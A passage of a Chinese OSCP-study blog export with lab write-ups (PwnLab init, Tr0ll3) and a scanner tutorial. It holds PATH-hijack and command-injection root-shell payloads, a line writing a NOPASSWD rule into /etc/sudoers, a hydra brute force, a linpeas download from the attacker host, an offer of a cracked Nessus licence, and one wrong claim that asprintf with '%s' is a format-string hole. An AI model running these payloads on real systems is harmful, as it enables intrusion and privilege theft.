/bin/cat，巧妙的用msgmike文件执行\u0026quot;cat\u0026quot;的提权命令，提权为mike后再看下一步。\n创建恶意替代文件\n1echo \u0026#39;/bin/sh\u0026#39; \u0026gt; cat 2chmod 777 cat 创建名为cat的文件，内容为/bin/sh（启动shell） 赋予完全权限（任何用户可执行） 劫持PATH环境变量\n1export PATH=./:$PATH 将当前目录.添加到PATH变量最前面 优先级规则：系统会优先在当前目录查找可执行文件 执行SetUID程序\n1./msgmike 运行拥有SetUID权限的msgmike程序（属主为mike） 当程序尝试执行cat命令时： 先在当前目录(./)查找 → 找到恶意cat 执行/bin/sh→ 开启新shell msg.txt找不到就找不到了，都提权成功了，管他找不找得到 权限升级\n1$ id 2uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane) 新shell以程序所有者(mike)的身份运行 成功从kane提权至mike用户 程序逻辑漏洞，Mike提权为root mike文件夹下发现一个可执行文件，输入什么输出什么，用strings看一下内容，猜测文件的逻辑是输入的内容存为变量再输出。\n但是看文件的逻辑是，获取键入的字符，但是只echo了第一行到/root/messeges.txt中，后续的内容应该是会调用system这个逻辑。所以多输入用分号代表分行，就能输入第二行的提权命令了。\n知识点补充 🧠 技术原理详解 1. SetUID程序特性 1// msgmike 代码模拟 2#include \u0026lt;stdlib.h\u0026gt; 3int main() { 4 system(\u0026#34;cat /home/mike/msg.txt\u0026#34;); 5} msgmike拥有SetUID位：-rwsr-x--- 执行时获得文件所有者(mike)的权限 2. Shell命令解析机制 当程序调用system(\u0026quot;cat ...\u0026quot;)时：\n1/bin/sh -c \u0026#34;cat ...\u0026#34; Shell按照PATH顺序查找可执行文件 PATH顺序：./\u0026gt; /usr/bin\u0026gt; /bin 3. 环境变量攻击链 graph TD A[SetUID程序 msgmike] --\u003e|以mike权限运行system| B[调用系统命令 'cat'] B --\u003e C{Shell 查找 cat 命令} C --\u003e|PATH 搜索顺序| D[检查当前目录 .] D --\u003e|找到恶意 cat| E[执行 ./cat] E --\u003e|内容为 '/bin/sh'| F[启动 shell 进程] F --\u003e|继承 mike 权限| G[获得 mike 权限的 shell] C --\u003e|PATH 搜索顺序| H[检查 /usr/bin] H --\u003e|正常 cat| I[执行系统 cat] classDef red fill:#f9d5d5,stroke:#b85450; classDef green fill:#d5f9d5,stroke:#50b854; class A,B,C,E,F,G red; class H,I green; style C stroke:#333,stroke-width:2px;⚠️ 必要条件 SetUID程序：必须存在属主权限更高的可执行文件 动态命令调用：程序使用相对路径调用系统命令 文件系统权限：攻击者需有目录写入权限 PATH变量可修改：环境变量未被锁定 🛡️ 防御措施 编码规范\n1// 使用绝对路径代替相对路径 2system(\u0026#34;/bin/cat /home/mike/msg.txt\u0026#34;); 降低权限\n1setuid(getuid()); // 执行外部命令前放弃特权 锁定环境\n1# 设置安全PATH 2export PATH=/usr/bin:/bin 文件系统加固\n1chmod g-s /home/kane # 移除SetGID位 2chattr +i msgmike # 锁定文件 程序逻辑分析与还原 🔍 关键字符串线索 Message for root:→ 程序提示用户输入 /bin/echo %s \u0026gt;\u0026gt; /root/messages.txt→ 核心命令模板 fgets, asprintf, system→ 重要函数调用 🧩 程序逻辑还原 1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3 4int main() { 5 // 1. 输出提示信息 6 printf(\u0026#34;Message for root:\u0026#34;); 7 8 // 2. 读取用户输入 9 char input[256]; 10 fgets(input, sizeof(input), stdin); 11 12 // 3. 格式化系统命令 13 char *command = NULL; 14 asprintf(\u0026amp;command, \u0026#34;/bin/echo %s \u0026gt;\u0026gt; /root/messages.txt\u0026#34;, input); 15 16 // 4. 执行系统命令 17 system(command); 18 19 // 5. 清理内存 20 free(command); 21 return 0; 22} ⚡️ 漏洞点与攻击面分析 命令注入漏洞 (Command Injection)\n1# 利用方式示例 2$ ./msg2root 3Message for root:; whoami \u0026gt;\u0026gt; /root/exploit.txt; 分号;允许添加额外命令 恶意命令以root权限执行 格式化字符串漏洞 (Format String Vulnerability)\n1asprintf(\u0026amp;command, \u0026#34;/bin/echo %s \u0026gt;\u0026gt; ...\u0026#34;, input); 无过滤的用户输入直接用于格式化字符串 可能触发内存泄露或任意写入 路径依赖问题\n硬编码使用/bin/echo而非/usr/bin/echo 环境变量PATH可被劫持 🛠️ 实际攻击场景演示 场景1：命令注入获取root shell 1$ ./msg2root 2Message for root:; /bin/sh; # 3 4# 实际执行命令 5/bin/echo ; /bin/sh; # \u0026gt;\u0026gt; /root/messages.txt 注入命令/bin/sh启动shell #后的内容被注释，避免语法错误 新shell继承程序的root权限 场景2：写入敏感文件 1$ ./msg2root 2Message for root:; echo \u0026#34;kane ALL=(ALL) NOPASSWD: ALL\u0026#34; \u0026gt;\u0026gt; /etc/sudoers; # 3 4# 实际效果 5为kane添加无密码sudo权限 🚫 安全漏洞修复建议 修复后代码 1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3#include \u0026lt;unistd.h\u0026gt; 4 5int main() { 6 printf(\u0026#34;Message for root:\u0026#34;); 7 8 // 安全的输入读取 9 char input[256]; 10 if (!fgets(input, sizeof(input), stdin)) { 11 exit(1); 12 } 13 14 // 移除换行符防止注入 15 for (char *p = input; *p; p++) { 16 if (*p == \u0026#39;\\n\u0026#39;) *p = \u0026#39;\\0\u0026#39;; 17 } 18 19 // 严格验证输入 20 for (char *c = input; *c; c++) { 21 if (*c == \u0026#39;;\u0026#39; || *c == \u0026#39;|\u0026#39; || *c == \u0026#39;\u0026amp;\u0026#39;) { 22 fprintf(stderr, \u0026#34;Illegal character: %c\\n\u0026#34;, *c); 23 exit(1); 24 } 25 } 26 27 // 使用文件IO代替系统命令 28 FILE *fp = fopen(\u0026#34;/root/messages.txt\u0026#34;, \u0026#34;a\u0026#34;); 29 if (fp) { 30 fprintf(fp, \u0026#34;%s\\n\u0026#34;, input); 31 fclose(fp); 32 } 33 return 0; 34} 关键修复措施 移除命令注入风险\n禁用system() 使用文件IO直接写入 输入过滤\n1// 禁止危险字符 2if (strchr(input, \u0026#39;;\u0026#39;) || strchr(input, \u0026#39;|\u0026#39;) || ...) 权限最小化\n1// 执行前放弃root权限 2setuid(getuid()); 日志审计\n记录所有操作 📁 文件权限关键点 程序必须具有SetUID权限且属于root\n1ls -l msg2root 2-rwsr-xr-x 1 root root 16784 Jul 24 10:23 msg2root /root/messages.txt需要：\n1chown root:root /root/messages.txt 2chmod 644 /root/messages.txt 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-25T23:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day21-pwnlab-init%E9%9D%B6%E5%9C%BAwp/","title":"Day21 PwnLab init靶场WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n对应OSCP官方教材第八章。\n漏洞扫描：安全评估的自动化基石 漏洞扫描（简称“漏扫”），作为网络安全领域不可或缺的核心技术手段，贯穿于安全评估的始终。其本质是通过集成海量漏洞验证脚本（POC）与利用脚本（EXP），向目标系统发送特定探测请求，并根据返回响应特征自动化识别潜在安全弱点的过程。\n核心价值与定位：\n效率引擎： 面对海量资产（如数十甚至上百个站点、服务器），手工检测效率低下且难以覆盖。漏扫工具凭借其自动化、批量化的特性，成为快速发现大面积、已知漏洞的首选武器，是安全审计流程中至关重要的第一步。 风险探照灯： 在复杂的网络环境中，“你永远不知道漏洞扫描会发生什么”。它是主动暴露未知风险、预防潜在攻击的有效途径。 技术与场景融合： 技术本身无高下之分，“黑猫白猫，抓到老鼠就是好猫”。自动化漏扫与精细化手工测试并非对立，而是互补。最佳实践是：先利用漏扫进行广覆盖、批量化的初步筛查，再对高风险目标或复杂逻辑进行深度手工验证，形成“广撒网+深挖潜”的高效组合拳。 工作原理与流程： 一个典型的漏洞扫描流程包含以下关键步骤：\n主机发现： 识别网络中存活的目标设备。 端口扫描： 探测目标设备开放的网络端口。 指纹识别： 基于服务响应（如Banner、协议行为、文件特征）判断操作系统、应用、服务及其版本（需注意版本伪装现象，如某些Tomcat版本统一返回相同头部）。 服务与行为分析： 深入探测服务细节、暴露的文件、目录等。 漏洞特征匹配/利用验证： 运用庞大的POC/EXP库进行探测。部分高级扫描会进行试探性攻击以降低误报（但需谨慎评估风险）。 漏洞扫描核心总结 1. 手动扫描与自动扫描的辩证关系 维度 手动扫描 自动扫描 优势 精准发现逻辑漏洞；绕过防护机制；隐蔽性高（适合红队）；对目标干扰小 快速覆盖大规模目标；建立安全基准；标准化漏洞验证（如CVE匹配） 劣势 效率极低（难以处理大型目标）；高度依赖经验；易遗漏重复性漏洞 高误报/漏报率；难以发现复杂业务逻辑漏洞；攻击特征明显易触发告警 适用场景 关键系统深度测试、红队隐蔽渗透、漏洞二次验证 初筛阶段、合规性检查、周期性安全巡检 结论: 二者非对立关系，应遵循 “先自动化广覆盖，后手工精准打击” 的策略。渗透测试的核心价值在于 超越工具的人工分析能力。\n2. 互联网扫描 vs. 内网扫描的关键差异 影响因素 互联网扫描 内网扫描 网络条件 带宽受限、高延迟、跳数多；防火墙/IPS严格过滤 高带宽、低延迟；内网设备可能老旧易崩溃 可见性 仅暴露面服务（ICMP/ARP常被阻断） 全端口可见（可ARP发现主机） 扫描策略 低速扫描（防触发警报）；优先非破坏性POC 可高速扫描；支持侵入式检测（需评估设备耐受性） 操作要点:\n速度控制：初始使用低速率扫描，验证结果质量后逐步提速。 发现机制：互联网目标需使用TCP SYN等替代ICMP/ARP。 风险评估：内网扫描警惕对老旧设备的DoS风险。 3. 认证扫描 vs. 非认证扫描的深度对比 层面 认证扫描 非认证扫描 原理 凭据登录系统（SSH/WMI），访问内部资源 纯网络发包探测，无系统权限 检测深度 补丁状态、注册表、配置文件、敏感文件（如Program Files） 仅开放服务漏洞、Banner版本、弱口令等表层风险 准确性 误报率极低（直接验证漏洞存在性） 误报率高（依赖版本特征猜测） 配置挑战 Linux需SSH；Windows需破解UAC/WMI防火墙限制 开箱即用，无配置依赖 适用场景:\n认证扫描：合规审计（如PCI DSS）、系统上线前深度检查。\n非认证扫描：外部攻击面评估、应急响应快速筛查。\n注意: Windows环境需解决UAC限制，否则认证扫描可能失败。\n本章导读： 本章将深入剖析漏洞扫描的技术原理、核心工作流程、主流工具（如Nessus, AWVS, Nmap, GVM等）的应用模式（重点探讨认证与非认证扫描的实施细节与场景选择），分析其优势与局限性（精度问题、版本识别挑战），并探讨如何有效评估扫描结果、管理误报/漏报，以及如何将自动化扫描与手工测试有机结合，构建高效、全面的安全评估体系。理解漏洞扫描的本质和最佳实践，是每一位安全从业者夯实基础、提升效率的关键一步。\n🛠️ Nessus安装和使用 官网下载链接：https://www.tenable.com/downloads/nessus?loginAttempted=true\n# 1. 更新系统 sudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y # 2. 下载Nessus .deb包（官网获取最新URL） wget https://www.tenable.com/downloads/api/v2/pages/nessus/files/\u0026lt;最新版本\u0026gt;.deb # 3. 校验文件完整性（需与官网SHA256匹配） sha256sum Nessus-*.deb # 4. 安装 sudo dpkg -i Nessus-*.deb # 5. 启动服务 sudo systemctl start nessusd # 6. 访问控制台 https://localhost:8834 后续配置：\n选择 Nessus Essentials → 填写邮箱获取激活码 → 创建本地管理员账户 首次初始化需1小时+（自动下载13万+插件库） 扫描核心操作流程 1. 新建扫描 扫描类型 适用场景 关键配置 基本网络扫描 常规漏洞探测 默认设置（仅扫公共端口） 认证补丁审核 内网深度检测 需填SSH/Windows凭据 高级扫描 自定义漏洞检测 可禁用插件/指定端口 2. 目标配置 格式：IP/IP段/域名（例：10.11.1.73）\n端口控制：\n路径：设置 → 发现 → 端口扫描 修改 \u0026#34;Port Scan Range\u0026#34;：0-65535（全端口）或指定端口（如111） 3. 认证扫描配置 路径：凭据 → SSH → 认证方法：Password → 用户名：root → 密码：[目标密码] 4. 单插件扫描 路径：插件 → 点击\u0026#34;全部禁用\u0026#34; → 展开分类（如RPC）→ 启用特定插件（如\u0026#34;NFS Exported Share Information Disclosure\u0026#34;） 5. 结果分析 过滤高危漏洞：点击\u0026quot;过滤器\u0026quot; → 可被利用 = true 关闭分组视图：右上角齿轮 → 禁用分组 导出报告：支持PDF/CSV/HTML格式 操作避坑指南 资源警告：全端口扫描需8GB+内存，避免扫描期间运行其他重负载任务 账户锁定：在配置中关闭 \u0026ldquo;Brute Force\u0026rdquo; 选项（路径：扫描策略 → 高级） Windows认证失败：确认目标开启WMI服务且防火墙放行135/445端口 插件更新：定期执行 sudo /opt/nessus/sbin/nessuscli update 破解：默认只能扫16个IP，破解请关注公众号回复本文开头的关键字获取。 🔍 Nmap漏洞扫描深度解析 核心机制： Nmap通过​​NSE脚本引擎​​（Nmap Scripting Engine）实现漏洞扫描，700+个Lua脚本分为两类：\nvuln类：漏洞检测（如http-vuln-cve2017-5638） exploit类：精简漏洞利用（如smb-vuln-cve-2017-7494） ⚠️ 安全风险分级（执行前必看）：\n级别 特征 典型脚本 safe 仅信息收集 http-title.nse intrusive 可能崩溃服务 http-slowloris.nse 🖥️ 关键操作命令： # 查看所有漏洞扫描脚本 ls /usr/share/nmap/scripts | grep vuln # 检查脚本功能（强烈建议使用AI解析） nmap --script-help \u0026lt;脚本名\u0026gt; # 例如：nmap --script-help http-vuln* # 安全扫描（仅用safe类） nmap -sV --script \u0026#34;safe and vuln\u0026#34; \u0026lt;目标IP\u0026gt; # 漏洞探测（vuln类脚本） nmap -sV --script=vuln \u0026lt;目标IP\u0026gt; # 精确调用指定脚本 nmap -sV --script=http-vuln-cve2021-41773 \u0026lt;目标IP\u0026gt; # 扫描结果保存 nmap -sV -oX report.xml --script=vuln \u0026lt;目标IP\u0026gt; ⚙️ 脚本管理技巧： # 查看脚本分类（script.db数据库） grep \u0026#39;categories\u0026#39; /usr/share/nmap/scripts/script.db # 过滤高风险脚本（排除intrusive） nmap --script \u0026#34;vuln and not intrusive\u0026#34; \u0026lt;目标IP\u0026gt; # 更新NSE脚本库 sudo nmap --script-updatedb 📌 最佳实践：\n未知脚本必查：nmap --script-help \u0026lt;脚本名\u0026gt; 或丢给AI解读 生产环境先用 --script-trace 预览探测行为 高危操作前在测试环境验证 🛡️ GVM（Greenbone漏洞管理器）部署指南 原为OpenVAS，是Nessus的开源分支，提供企业级漏洞管理能力。\n⚡ 快速部署命令（Kali Linux）： # 安装组件 sudo apt update \u0026amp;\u0026amp; sudo apt install -y gvm* # 初始配置（约15分钟，需联网） sudo gvm-setup # 自动生成管理员账户 # 更新漏洞数据库（首次需20GB磁盘空间） sudo gvm-feed-update # 启动服务 sudo gvm-start # Web控制台：https://127.0.0.1:9392 # 验证安装 sudo gvm-check-setup # 显示各组件状态 🖥️ 常用操作： # 启动/停止服务 sudo gvm-start | sudo gvm-stop # 重置管理员密码 sudo runuser -u _gvm -- gvmd --user=admin --new-password=\u0026lt;新密码\u0026gt; # 手动更新数据库（每日执行） sudo crontab -e # 添加：0 0 * * * sudo gvm-feed-update 🌐 基础使用流程： 访问 https://localhost:9392 → 用 admin 和安装时生成的密码登录 创建扫描任务： 目标配置：指定IP/域名范围 扫描策略：选择 Full and fast（平衡模式） 认证设置：添加SSH/Windows凭证提升扫描深度 导出报告：支持PDF/CSV/XML格式 💡 高级技巧：\n联动Nmap：将 nmap -oX 生成的XML报告导入GVM分析 定制策略：禁用暴力破解选项防账户锁定 计划任务：设置每周全盘扫描 + 每日增量扫描 🔍 AWVS 安装使用 Acunetix Web Vulnerability Scanner (AWVS) 是全球顶尖的 Web 应用漏洞扫描器，专注于自动化检测网站与 API 的安全漏洞。\n🔑 核心特性： 类别 能力 扫描范围 SQL 注入、XSS、SSRF、JWT 漏洞、敏感信息泄露等 13000+ 漏洞 技术深度 支持现代 Web 技术（SPA、WebSocket、GraphQL 等） 部署模式 支持本地安装（Windows/Linux）和云平台（Acunetix Online） 合规性 满足 PCI DSS、HIPAA、ISO 27001 等安全标准 📌 定位：与传统网络扫描器（Nessus）互补，专精 Web 层漏洞挖掘。\n📥 安装指南（Kali Linux） ⚠️ 前提条件： 硬件：≥4 核 CPU / 8GB RAM / 20GB 磁盘空间 系统：Kali Linux 2023+（或 Ubuntu/Debian） 授权：需官网获取 14 天试用密钥（或购买商业许可） 🛠️ 安装步骤： # 1. 下载安装包（需注册官网获取下载链接） wget https://dl.acunetix.com/acu/24.3/acuinstall.sh # 2. 赋予执行权限 chmod +x acuinstall.sh # 3. 安装依赖 sudo apt install -y libxcb-xinerama0 libxkbcommon-x11-0 # 4. 启动安装（默认端口：13443） sudo ./acuinstall.sh --install-license YOUR_LICENSE_KEY # 5. 访问控制台 https://localhost:13443 💡 重要提示：首次登录需设置管理员邮箱与密码（保存至 /var/lib/acunetix/.config）\n🚀 基础使用教程 1. 创建扫描任务 目标配置\n输入 URL（如 https://example.com） 启用 深度爬虫（识别 SPA 动态内容） 设置 认证登录（支持 Cookie/表单/OAuth） 扫描策略\n模式 特点 快速扫描 耗时短，仅查高危漏洞 全扫描 覆盖所有漏洞检测模块（推荐） 自定义扫描 手动选择检测项（如仅查 API） 2. 扫描结果分析 漏洞分级： 🔴 ​​高危​​（SQLi、RCE）→ 🟠 ​​中危​​（XSS）→ 🟢 ​​低危​​（信息泄露） 利用验证： 支持 ​​POC 重放​​（验证漏洞真实性） 报告导出： 支持 PDF/HTML/XML（含修复建议） 3. 高级功能 API 扫描：导入 Swagger/Postman 文件 敏感数据监控：实时检测 Git 泄露、密钥硬编码 CI/CD 集成：Jenkins/GitLab 插件自动化扫描 ⚠️ 避坑指南 问题 解决方案 扫描崩溃 限制并发请求（Settings → Scan Settings → Max Requests） 误报率高 启用 Proof-Based Scanning 二次验证 登录失效 使用 AcuSensor 代理抓取认证流量 社区版限制 避开「Acunetix 360 Free」，仅支持 3 页面扫描 相似功能新产品推荐 Nessus和AWVS作为入门熟悉的工具可用，但是再实际测试过程中误报和漏扫率高。安全技术更新换代快，以下是我个人对这些产品的经验看法，和推荐目前比较好用的几个工具。\n⚖️ 商业 vs 开源核心差异分析 首先，这些产品分为商业版和开源版，两者的区别有：\n🏭 商业工具依赖维度 graph TB A[商业产品] --\u003e B(专属漏洞实验室) A --\u003e C(0day快速响应) A --\u003e D(自动化合规报告) A --\u003e E(私有漏洞情报) F[公司经营风险] --\u003e G[产品更新放缓] F --\u003e H[漏洞库滞后] F --\u003e I[误报率上升]🌐 开源工具生存逻辑 graph TB J[开源项目] --\u003e K(社区贡献者) J --\u003e L(GitHub Star驱动) J --\u003e M(企业赞助) N[技术门槛] --\u003e O[需自行维护规则库] N --\u003e P[适配定制化环境] N --\u003e Q[漏洞验证脚本开发]📊 关键能力对比 能力维度 商业工具 开源工具 漏洞响应速度 0day通常\u0026lt;24小时 依赖社区更新（平均3-7天） 合规支持 自动生成符合审计的报告 需手动整理 使用成本 年费5000−50000+ 免费但需时间成本 定制灵活性 闭源不可修改 可二次开发 🛡️ 中国网络安全市场主流产品图谱 产品名称 厂商 主打能力 行业占有率 奇安信网神漏洞扫描系统 奇安信 等保2.0合规驱动 · 信创生态适配（麒麟/统信） · 0day响应\u0026lt;12小时 政府/央企（≥35%） 安恒明鉴漏洞扫描器 安恒信息 Web3.0深度检测 · API安全治理 · 结合「北斗」AI引擎 金融/医疗（28%） 绿盟极光漏洞扫描系统 绿盟科技 攻防演练模式 · ICS/OT工控支持 · 漏洞利用链可视化 能源/制造业（20%） 长亭洞鉴 长亭 动态流量分析 · RASP结合 · 云原生漏洞挖掘 互联网/云平台（18%） 启明星辰天镜 启明星辰 资产管理优先 · 漏洞生命周期管理 · 等保测评报告自动生成 教育/运营商（15%） 🆚 国产 VS 国际产品关键差异 维度 国内产品优势 国际产品劣势 合规支持 内置等保2.0/关基条例模板 需定制开发 漏洞响应 CNNVD/CNVD同步\u0026lt;6小时 CVE中心依赖（时差延迟） 信创适配 深度支持国产OS/数据库 仅兼容Windows/Linux主流版 定价策略 按IP/年收费（含驻场服务） 订阅制（美元结算+高溢价） 🚀 免费替代方案推荐 XRay 社区版（长亭开源）\n# 被动代理扫描 ./xray webscan --listen 127.0.0.1:7777 Goby 社区版\n资产测绘免费 · 漏洞扫描限量 Yakit+Nuclei\nYakit是集成化单兵安全能力平台，用Yaklang语言编写 Nuclei有丰富的开源模板，也可以自行编写漏洞模板，或让AI编写 Yakit支持直接导入Nuclei模板扫描 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-25T23:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/","title":"Day22 Kali漏洞扫描"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/tr0ll-3,340/\n信息收集 1# 靶机地址 2172.168.169.142 3# Kali攻击机地址 4172.168.169.141 扫描端口 1ports=$(sudo nmap -p- --min-rate=10000 -Pn 172.168.169.142 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 2echo $ports 3sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.142 4sudo nmap --script=vuln -p$ports -Pn 172.168.169.142 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop/Potato] 2└─$ ports=$(sudo nmap -p- --min-rate=5000 -Pn 172.168.169.142 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 3 4┌──(kali㉿kali)-[~/Desktop/Potato] 5└─$ echo $ports 622 7 8┌──(kali㉿kali)-[~/Desktop/Potato] 9└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.142 10Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 02:25 EDT 11Nmap scan report for 172.168.169.142 12Host is up (0.0018s latency). 13 14PORT STATE SERVICE VERSION 1522/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 16| ssh-hostkey: 17| 2048 6d:d1:ea:d0:a8:1e:83:ef:c7:4f:ae:4c:bb:d6:75:19 (RSA) 18| 256 24:5f:cb:ef:3a:db:b5:59:c6:15:51:b9:2b:9b:fa:39 (ECDSA) 19|_ 256 8b:96:de:4a:11:45:a7:f9:eb:60:9b:45:da:1a:21:de (ED25519) 20MAC Address: 00:0C:29:9A:2A:57 (VMware) 21Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 22Device type: general purpose 23Running: Linux 3.X|4.X 24OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 25OS details: Linux 3.2 - 4.14 26Network Distance: 1 hop 27Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 28 29OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 30Nmap done: 1 IP address (1 host up) scanned in 3.96 seconds 31 32┌──(kali㉿kali)-[~/Desktop/Potato] 33└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.142 34Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 02:25 EDT 35Nmap scan report for 172.168.169.142 36Host is up (0.0012s latency). 37 38PORT STATE SERVICE 3922/tcp open ssh 40MAC Address: 00:0C:29:9A:2A:57 (VMware) 41 42Nmap done: 1 IP address (1 host up) scanned in 10.87 seconds 扫描端口发现只有一个22端口打开，其他都关闭。一开始以为是靶机没开起来，回到虚拟机开机界面发现初始页面直接显示了登录用户名和密码，可以直接登录。也可以用hydra进行爆破，因为一开始Nmap扫描出来提示的SSH版本比较低。\n1hydra -L top-usernames-shortlist.txt -P password.txt ssh://172.168.169.142 内网信息收集 内核信息收集\n1uname -a 2lsb_release -a 3--- 4start@Tr0ll3:~$ lsb_release -a 5No LSB modules are available. 6Distributor ID: Ubuntu 7Description: Ubuntu 18.04.2 LTS 8Release: 18.04 9Codename: bionic 10start@Tr0ll3:~$ uname -a 11Linux Tr0ll3 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 用不了sudo\n1start@Tr0ll3:~$ sudo -l 2[sudo] password for start: 3Sorry, user start may not run sudo on Tr0ll3. 找到文件夹下两个文件里给的提示\n1start@Tr0ll3:~/bluepill$ cat awesome_work 2http://bfy.tw/ODa 3start@Tr0ll3:~/bluepill$ cat ../redpill/this_will_surely_work 4step2:Password1! 在home文件夹下找到其他用户，尝试进入step2用户文件夹，没有权限，密码也不是step2:Password1!。这个网址也是打不开的。\n1start@Tr0ll3:/home$ ls -al 2total 40 3drwxr-xr-x 10 root root 4096 Jun 19 2015 . 4drwxr-xr-x 27 root root 4096 Aug 1 2019 .. 5drwx------ 2 genphlux genphlux 4096 Jun 18 2015 appserver 6drwx------ 4 eagle russ 4096 Aug 2 2019 eagle 7drwx------ 2 fido fido 4096 Jun 18 2015 fido 8drwx------ 4 genphlux genphlux 4096 Aug 2 2019 genphlux 9drwx------ 5 maleus maleus 4096 Aug 2 2019 maleus 10drwx------ 7 start start 4096 Aug 2 2019 start 11drwx------ 2 step2 step2 4096 Jun 18 2015 step2 12drwx------ 4 wytshadow wytshadow 4096 Aug 2 2019 wytshadow 13start@Tr0ll3:/home$ cd step2 14-bash: cd: step2: Permission denied 15start@Tr0ll3:/home$ su step2 16Password: 17su: Authentication failure 查看/etc/passwd文件，没有发现可以爆破的hash。\n1start@Tr0ll3:/home$ cat /etc/passwd 2root:x:0:0:root:/root:/bin/bash 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 4bin:x:2:2:bin:/bin:/usr/sbin/nologin 5sys:x:3:3:sys:/dev:/usr/sbin/nologin 6sync:x:4:65534:sync:/bin:/bin/sync 7games:x:5:60:games:/usr/games:/usr/sbin/nologin 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 17irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 20syslog:x:101:104::/home/syslog:/bin/false 21messagebus:x:102:106::/var/run/dbus:/bin/false 22landscape:x:103:109::/var/lib/landscape:/bin/false 23sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin 24maleus:x:1000:1000:maleus,,,:/home/maleus:/bin/bash 25start:x:1001:1001:,,,:/home/start:/bin/bash 26ftp:x:105:112:ftp daemon,,,:/srv/ftp:/bin/false 27wytshadow:x:1003:1003:,,,:/home/wytshadow:/bin/bash 28genphlux:x:1004:1004:,,,:/home/genphlux:/bin/bash 29statd:x:106:65534::/var/lib/nfs:/bin/false 30fido:x:1005:1006:,,,:/home/fido:/bin/bash 31step2:x:1006:1007:,,,:/home/step2:/bin/bash 32eagle:x:1002:1002:,,,:/home/eagle:/bin/bash 33systemd-timesync:x:107:115:systemd Time Synchronization,,,:/run/systemd:/bin/false 34systemd-network:x:108:116:systemd Network Management,,,:/run/systemd/netif:/bin/false 35systemd-resolve:x:109:117:systemd Resolver,,,:/run/systemd/resolve:/bin/false 36uuidd:x:100:101::/run/uuidd:/bin/false 37_apt:x:111:65534::/nonexistent:/bin/false 上小豌豆一把梭，发现pkexec可以提权，但是因为没有sudo所以也用不了；可用命令中有gcc，所以下一步尝试一下能不能用内核提权漏洞直接gcc编译一下提权，但是靶机的Ubuntu版本太高了，可能提权不了。\n1 wget http://172.168.169.141:8000/linpeas.sh 2 chmod +x linpeas.sh 3 --- 4 5Linux version 4.15.0-55-generic (buildd@lcy01-amd64-029) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 6Distributor ID: Ubuntu 7Description: Ubuntu 18.04.2 LTS 8Release: 18.04 9Codename: bionic 10 11╔══════════╣ Sudo version 12╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version 13Sudo version 1.8.21p2 14 15══╣ Polkit Binary 16Pkexec binary found at: /usr/bin/pkexec 17Pkexec binary has SUID bit set! 18-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 19pkexec version 0.105 20 